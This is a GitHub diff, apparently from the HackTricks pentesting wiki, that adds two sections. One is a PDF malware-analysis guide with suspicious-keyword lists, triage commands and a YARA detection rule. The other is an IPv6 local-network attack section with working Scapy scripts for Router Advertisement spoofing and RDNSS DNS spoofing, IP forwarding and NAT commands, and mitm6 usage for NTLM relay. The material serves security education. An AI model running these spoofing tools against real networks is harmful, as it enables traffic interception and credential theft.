You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
+88Lines changed: 88 additions & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -17,6 +17,94 @@ For in-depth exploration or manipulation of PDFs, tools like [qpdf](https://gith
17
17
18
18
For custom PDF analysis, Python libraries like [PeepDF](https://github.com/jesparza/peepdf) can be used to craft bespoke parsing scripts. Further, the PDF's potential for hidden data storage is so vast that resources like the NSA guide on PDF risks and countermeasures, though no longer hosted at its original location, still offer valuable insights. A [copy of the guide](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) and a collection of [PDF format tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) by Ange Albertini can provide further reading on the subject.
19
19
20
+
## Common Malicious Constructs
21
+
22
+
Attackers often abuse specific PDF objects and actions that automatically execute when the document is opened or interacted with. Keywords worth hunting for:
23
+
24
+
***/OpenAction, /AA** – automatic actions executed on open or on specific events.
25
+
***/JS, /JavaScript** – embedded JavaScript (often obfuscated or split across objects).
26
+
***/Launch, /SubmitForm, /URI, /GoToE** – external process / URL launchers.
27
+
***/RichMedia, /Flash, /3D** – multimedia objects that can hide payloads.
28
+
***/EmbeddedFile /Filespec** – file attachments (EXE, DLL, OLE, etc.).
29
+
***/ObjStm, /XFA, /AcroForm** – object streams or forms commonly abused to hide shell-code.
30
+
***Incremental updates** – multiple %%EOF markers or a very large **/Prev** offset may indicate data appended after signing to bypass AV.
31
+
32
+
When any of the previous tokens appear together with suspicious strings (powershell, cmd.exe, calc.exe, base64, etc.) the PDF deserves deeper analysis.
33
+
34
+
---
35
+
36
+
## Static analysis cheat-sheet
37
+
38
+
```bash
39
+
# Fast triage – keyword statistics
40
+
pdfid.py suspicious.pdf
41
+
42
+
# Deep dive – decompress/inspect the object tree
43
+
pdf-parser.py -f suspicious.pdf # interactive
44
+
pdf-parser.py -a suspicious.pdf # automatic report
***pdfcpu** – Go library/CLI able to *lint*, *decrypt*, *extract*, *compress* and *sanitize* PDFs.
61
+
***pdf-inspector** – browser-based visualizer that renders the object graph and streams.
62
+
***PyMuPDF (fitz)** – scriptable Python engine that can safely render pages to images to detonate embedded JS in a hardened sandbox.
63
+
64
+
---
65
+
66
+
## Recent attack techniques (2023-2025)
67
+
68
+
***MalDoc in PDF polyglot (2023)** – JPCERT/CC observed threat actors appending an MHT-based Word document with VBA macros after the final **%%EOF**, producing a file that is both a valid PDF and a valid DOC. AV engines parsing just the PDF layer miss the macro. Static PDF keywords are clean, but `file` still prints `%PDF`. Treat any PDF that also contains the string `<w:WordDocument>` as highly suspicious.
69
+
***Shadow-incremental updates (2024)** – adversaries abuse the incremental update feature to insert a second **/Catalog** with malicious `/OpenAction` while keeping the benign first revision signed. Tools that inspect only the first xref table are bypassed.
70
+
***Font parsing UAF chain – CVE-2024-30284 (Acrobat/Reader)** – a vulnerable **CoolType.dll** function can be reached from embedded CIDType2 fonts, allowing remote code execution with the privileges of the user once a crafted document is opened. Patched in APSB24-29, May 2024.
71
+
72
+
---
73
+
74
+
## YARA quick rule template
75
+
76
+
```yara
77
+
rule Suspicious_PDF_AutoExec {
78
+
meta:
79
+
description = "Generic detection of PDFs with auto-exec actions and JS"
80
+
author = "HackTricks"
81
+
last_update = "2025-07-20"
82
+
strings:
83
+
$pdf_magic = { 25 50 44 46 } // %PDF
84
+
$aa = "/AA" ascii nocase
85
+
$openact = "/OpenAction" ascii nocase
86
+
$js = "/JS" ascii nocase
87
+
condition:
88
+
$pdf_magic at 0 and ( all of ($aa, $openact) or ($openact and $js) )
89
+
}
90
+
```
91
+
92
+
---
93
+
94
+
## Defensive tips
95
+
96
+
1.**Patch fast** – keep Acrobat/Reader on the latest Continuous track; most RCE chains observed in the wild leverage n-day vulnerabilities fixed months earlier.
97
+
2.**Strip active content at the gateway** – use `pdfcpu sanitize` or `qpdf --qdf --remove-unreferenced` to drop JavaScript, embedded files and launch actions from inbound PDFs.
98
+
3.**Content Disarm & Reconstruction (CDR)** – convert PDFs to images (or PDF/A) on a sandbox host to preserve visual fidelity while discarding active objects.
99
+
4.**Block rarely-used features** – enterprise “Enhanced Security” settings in Reader allow disabling of JavaScript, multimedia and 3D rendering.
100
+
5.**User education** – social engineering (invoice & resume lures) remains the initial vector; teach employees to forward suspicious attachments to IR.
101
+
102
+
## References
103
+
104
+
* JPCERT/CC – “MalDoc in PDF – Detection bypass by embedding a malicious Word file into a PDF file” (Aug 2023)
105
+
* Adobe – Security update for Acrobat and Reader (APSB24-29, May 2024)
Copy file name to clipboardExpand all lines: src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md
+180-1Lines changed: 180 additions & 1 deletion
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -112,12 +112,191 @@ To identify IPv6 addresses, certain DNS record types can be queried:
112
112
113
113
After pinpointing IPv6 addresses associated with an organization, the `ping6` utility can be used for probing. This tool helps in assessing the responsiveness of identified IPv6 addresses, and might also assist in discovering adjacent IPv6 devices.
114
114
115
+
## IPv6 Local Network Attack Techniques
116
+
117
+
The following sections cover practical layer-2 IPv6 attacks that can be executed **inside the same /64 segment** without knowing any global prefix. All the packets shown below are **link-local** and travel only through the local switch, making them extremely stealthy in most environments.
118
+
119
+
### System Tuning for a Stable Lab
120
+
121
+
Before playing with IPv6 traffic it is recommended to harden your box to avoid being poisoned by your own tests and to get the best performance during massive packet injection/sniffing.
122
+
123
+
```bash
124
+
# Enable promiscuous mode to capture all frames
125
+
sudo ip link set dev eth0 promisc on
126
+
127
+
# Ignore rogue Router Advertisements & Redirects coming from the segment
# Increase fd / backlog limits when generating lots of traffic
132
+
sudo sysctl -w fs.file-max=100000
133
+
sudo sysctl -w net.core.somaxconn=65535
134
+
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
135
+
```
136
+
137
+
### Passive NDP & DHCPv6 Sniffing
138
+
139
+
Because every IPv6 host **automatically joins multiple multicast groups** (`ff02::1`, `ff02::2`, …) and speaks ICMPv6 for SLAAC/NDP, you can map the whole segment without sending a single packet. The following Python/Scapy one-liner listens for the most interesting L2 messages and prints a colored, timestamped log of who is who:
140
+
141
+
```python
142
+
#!/usr/bin/env python3
143
+
from scapy.all import*
144
+
from scapy.layers.dhcp6 import*
145
+
from datetime import datetime
146
+
from colorama import Fore, Style, init
147
+
import argparse
148
+
149
+
init(autoreset=True)
150
+
151
+
# Human-readable names for protocols we care about
Result: a full **link-local topology** (MAC ⇄ IPv6) in a matter of seconds, without triggering IPS/IDS systems that rely on active scans.
209
+
210
+
### Router Advertisement (RA) Spoofing
211
+
212
+
IPv6 hosts rely on **ICMPv6 Router Advertisements** for default-gateway discovery. If you inject forged RAs **more frequently** than the legitimate router, devices will silently switch to you as the gateway.
213
+
214
+
```python
215
+
#!/usr/bin/env python3
216
+
from scapy.all import*
217
+
import argparse
218
+
219
+
p = argparse.ArgumentParser()
220
+
p.add_argument('-i','--interface',required=True)
221
+
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
222
+
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
To actually **forward traffic** after winning the race:
237
+
238
+
```bash
239
+
sudo sysctl -w net.ipv6.conf.all.forwarding=1
240
+
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
241
+
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
242
+
```
243
+
244
+
### RDNSS (DNS) Spoofing via RA
245
+
246
+
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) allows adding a **Recursive DNS Server (RDNSS)** option inside a RA. Modern OSes (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) automatically trust it:
247
+
248
+
```python
249
+
#!/usr/bin/env python3
250
+
from scapy.all import*
251
+
import argparse
252
+
253
+
p = argparse.ArgumentParser()
254
+
p.add_argument('-i','--interface',required=True)
255
+
p.add_argument('--llip',required=True)
256
+
p.add_argument('--dns',required=True,help='Fake DNS IPv6')
Clients will **prepend** your DNS to their resolver list for the given lifetime, granting full DNS hijacking until the value expires or you send a `lifetime=0` revert.
269
+
270
+
### DHCPv6 DNS Spoofing (mitm6)
271
+
272
+
Instead of SLAAC, Windows networks often depend on **stateless DHCPv6** for DNS. [mitm6](https://github.com/rofl0r/mitm6) automatically replies to `Solicit` messages with an **Advertise → Reply** flow that assigns **your link-local address as DNS for 300 seconds**. This unlocks:
273
+
274
+
* NTLM relay attacks (WPAD + DNS hijacking)
275
+
* Intercepting internal name resolution without touching routers
276
+
277
+
Typical usage:
278
+
279
+
```bash
280
+
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
0 commit comments